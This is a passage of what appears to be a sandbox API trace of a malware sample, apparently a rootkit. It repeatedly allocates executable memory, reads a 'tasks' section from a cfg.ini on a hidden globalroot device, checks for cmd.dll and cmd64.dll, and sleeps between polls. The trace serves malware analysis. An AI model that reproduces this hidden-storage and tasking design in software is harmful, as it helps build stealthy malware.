FastMutex=0xfffffa80027d3898) [0119.461] KeLeaveCriticalRegion () [0119.461] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.461] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.461] KeEnterCriticalRegion () [0119.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] ExFreePoolWithTag (P=0xfffffa8003aa1a00, Tag=0x0) [0119.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] KeLeaveCriticalRegion () [0119.461] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.461] ReleaseMutex (hMutex=0xf0) returned 1 [0119.461] Sleep (dwMilliseconds=0x927c0) [0119.476] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.476] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.476] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.476] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.476] KeEnterCriticalRegion () [0119.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.476] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.476] IdePortDispatch () returned 0x103 [0119.476] KeWaitForMutexObject () returned 0x0 [0119.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.476] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.476] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.476] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.476] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.476] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.476] KeLeaveCriticalRegion () [0119.476] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.477] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.477] KeEnterCriticalRegion () [0119.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.477] KeLeaveCriticalRegion () [0119.477] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.477] KeEnterCriticalRegion () [0119.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.477] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.477] IdePortDispatch () returned 0x103 [0119.477] KeWaitForMutexObject () returned 0x0 [0119.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.477] KeLeaveCriticalRegion () [0119.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.477] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.477] KeEnterCriticalRegion () [0119.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.477] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d92000 [0119.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.477] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.477] IdePortDispatch () returned 0x103 [0119.478] KeWaitForMutexObject () returned 0x0 [0119.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.478] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.478] IdePortDispatch () returned 0x103 [0119.478] KeWaitForMutexObject () returned 0x0 [0119.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.478] KeLeaveCriticalRegion () [0119.478] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.478] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.478] KeEnterCriticalRegion () [0119.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.478] KeLeaveCriticalRegion () [0119.478] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.478] KeEnterCriticalRegion () [0119.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.478] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.478] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcbdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.479] KeLeaveCriticalRegion () [0119.479] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.479] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.479] KeEnterCriticalRegion () [0119.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.479] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.479] KeLeaveCriticalRegion () [0119.479] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.479] ReleaseMutex (hMutex=0xf0) returned 1 [0119.479] Sleep (dwMilliseconds=0x927c0) [0119.492] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.492] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.492] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.492] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.492] KeEnterCriticalRegion () [0119.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.492] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.492] IdePortDispatch () returned 0x103 [0119.493] KeWaitForMutexObject () returned 0x0 [0119.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.493] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.493] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.493] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.493] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.493] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1ec0 [0119.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] KeLeaveCriticalRegion () [0119.493] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.493] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.493] KeEnterCriticalRegion () [0119.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] KeLeaveCriticalRegion () [0119.493] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.493] KeEnterCriticalRegion () [0119.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.493] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.493] IdePortDispatch () returned 0x103 [0119.493] KeWaitForMutexObject () returned 0x0 [0119.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] KeLeaveCriticalRegion () [0119.493] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.493] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.493] KeEnterCriticalRegion () [0119.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d97000 [0119.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.494] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.494] IdePortDispatch () returned 0x103 [0119.494] KeWaitForMutexObject () returned 0x0 [0119.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.494] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.494] IdePortDispatch () returned 0x103 [0119.494] KeWaitForMutexObject () returned 0x0 [0119.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.494] KeLeaveCriticalRegion () [0119.494] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.495] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.495] KeEnterCriticalRegion () [0119.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] KeLeaveCriticalRegion () [0119.495] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.495] KeEnterCriticalRegion () [0119.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.495] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdaa30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] KeLeaveCriticalRegion () [0119.495] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.495] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.495] KeEnterCriticalRegion () [0119.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] ExFreePoolWithTag (P=0xfffffa8003aa1ec0, Tag=0x0) [0119.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] KeLeaveCriticalRegion () [0119.495] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.495] ReleaseMutex (hMutex=0xf0) returned 1 [0119.495] Sleep (dwMilliseconds=0x927c0) [0119.509] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.510] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.510] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.510] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.510] KeEnterCriticalRegion () [0119.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.510] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.510] IdePortDispatch () returned 0x103 [0119.510] KeWaitForMutexObject () returned 0x0 [0119.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.510] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.510] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.510] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.510] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.510] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.510] KeLeaveCriticalRegion () [0119.510] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.510] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.510] KeEnterCriticalRegion () [0119.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.510] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.510] KeLeaveCriticalRegion () [0119.510] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.510] KeEnterCriticalRegion () [0119.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.510] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.510] IdePortDispatch () returned 0x103 [0119.510] KeWaitForMutexObject () returned 0x0 [0119.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.511] KeLeaveCriticalRegion () [0119.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.511] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.511] KeEnterCriticalRegion () [0119.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9c000 [0119.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.511] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.511] IdePortDispatch () returned 0x103 [0119.511] KeWaitForMutexObject () returned 0x0 [0119.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.511] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.511] IdePortDispatch () returned 0x103 [0119.511] KeWaitForMutexObject () returned 0x0 [0119.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.511] KeLeaveCriticalRegion () [0119.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.512] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.512] KeEnterCriticalRegion () [0119.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] KeLeaveCriticalRegion () [0119.512] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.512] KeEnterCriticalRegion () [0119.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.512] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] KeLeaveCriticalRegion () [0119.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.512] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.512] KeEnterCriticalRegion () [0119.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.512] KeLeaveCriticalRegion () [0119.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.512] ReleaseMutex (hMutex=0xf0) returned 1 [0119.512] Sleep (dwMilliseconds=0x927c0) [0119.526] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.526] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.526] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.526] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.526] KeEnterCriticalRegion () [0119.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.526] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.526] IdePortDispatch () returned 0x103 [0119.526] KeWaitForMutexObject () returned 0x0 [0119.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.526] 